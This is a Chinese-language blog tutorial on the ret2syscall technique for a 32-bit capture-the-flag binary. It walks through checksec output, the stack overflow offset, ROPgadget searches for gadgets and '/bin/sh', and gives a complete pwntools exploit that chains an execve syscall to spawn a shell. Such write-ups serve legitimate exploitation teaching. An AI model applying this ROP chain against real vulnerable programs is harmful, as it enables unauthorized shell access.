詳解ret2syscall

原理

ret2syscall,即控制程序執(zhí)行系統(tǒng)調(diào)用,獲取 shell


0x1

拿道題后檢測程序開啟的保護(hù)

checksec ./ret2syscall

?? ret2syscall checksec ret2syscall

Arch:? ? i386-32-little

RELRO:? ? Partial RELRO

Stack:? ? No canary found

NX:? ? ? NX enabled

PIE:? ? ? No PIE (0x8048000)

可以看出,程序?yàn)?32 位,開啟了 NX 保護(hù)。接下來利用 IDA 來查看源碼

0x2


看到偽代碼寫了沒有system和shellcode,可以看出此次仍然是一個(gè)棧溢出。類似于之前的做法,我們可以獲得 v4 相對于 ebp 的偏移為 108。所以我們需要覆蓋的返回地址相對于 v4 的偏移為 112。此次,由于我們不能直接利用程序中的某一段代碼或者自己填寫代碼來獲得 shell,所以我們利用程序中的 gadgets 來獲得shell,而對應(yīng)的 shell 獲取則是利用系統(tǒng)調(diào)用。關(guān)于系統(tǒng)調(diào)用的知識請看這個(gè)鏈接,簡單地說,只要我們把對應(yīng)獲取 shell 的系統(tǒng)調(diào)用的參數(shù)放到對應(yīng)的寄存器中,那么我們在執(zhí)行 int 0x80 就可執(zhí)行對應(yīng)的系統(tǒng)調(diào)用。比如說這里我們利用如下系統(tǒng)調(diào)用來獲取 shell。但是開啟了NX所以我們要調(diào)用系統(tǒng)指令組成ROP,這里我們可以用\downarrow

execve("/bin/sh",0,0)

首先我們得知道如何調(diào)用寄存器可以構(gòu)造出sys_execve,其次知道如何才能讓其執(zhí)行。


如何使用構(gòu)建

1.系統(tǒng)調(diào)用號,即 eax 應(yīng)該為 0xb(sys_execve)

2.第一個(gè)參數(shù),即 ebx 應(yīng)該指向 /bin/sh 的地址,其實(shí)執(zhí)行 sh 的地址也可以

3.第二個(gè)參數(shù),即 ecx 應(yīng)該為 0

4.第三個(gè)參數(shù),即 edx 應(yīng)該為 0

利用ROPgadget的工具查找eax ebx ecx edx的地址,查找/bin/sh和int 0x80的地址

ROPgadget --binary rop? --only 'pop|ret' | grep 'eax

ROPgadget --binary rop? --only 'pop|ret' | grep 'ebx'

ROPgadget --binary ret2syscall --string "/bin/sh"

ROPgadget --binary ret2syscall --only 'int'

0x3

1.eax

2.然后我們在尋找ebx


意外的發(fā)現(xiàn)有一個(gè)地址可以同時(shí)控制三個(gè)寄存器

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

3.尋找/bin/sh

0x080be408 : /bin/sh

4.尋找int

0x08049421 : int 0x80

0x4 exp如下

from pwn import*

p = process("./ret2syscall")

#r = remote('ip',port)

binsh_addr = 0x080be408

int_addr = 0x08049421

pop_eax_ret = 0x080bb196

pop_edx_ecx_ebx_ret = 0x0806eb90

#execve("/bin/sh",NULL,NULL)

payload = 'a'*112

payload += p32(pop_eax_ret) + p32(0x0b)

payload += p32(pop_edx_ecx_ebx_ret) +p32(0) + p32(0) +p32(binsh_addr)

payload += p32(int_addr)

p.sendline(payload)

p.interactive()

擴(kuò)展和心得體會(huì)

上述分析這種情況其實(shí)是最簡單得syscall,還有一些情況復(fù)雜的比如:直接搜不出“/bin/sh”字符串的。但是其實(shí)如果真的掌握精髓的話,其實(shí)是可以拼接出“/bin/sh”字符串的,有的題目中,有“/”,有“bin”,有“sh”,但是我拼接過程中不知道該如何截?cái)嘁粋€(gè)字符串。既然是系統(tǒng)調(diào)用,那么我們不如調(diào)用一個(gè)read函數(shù),來自己輸入“/bin/sh”吧。如果感興趣可以看下面我推薦的那位師傅的wp


推薦師傅wp:

不會(huì)修電腦

此篇文章如果存在問題,還望大佬批評指正

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容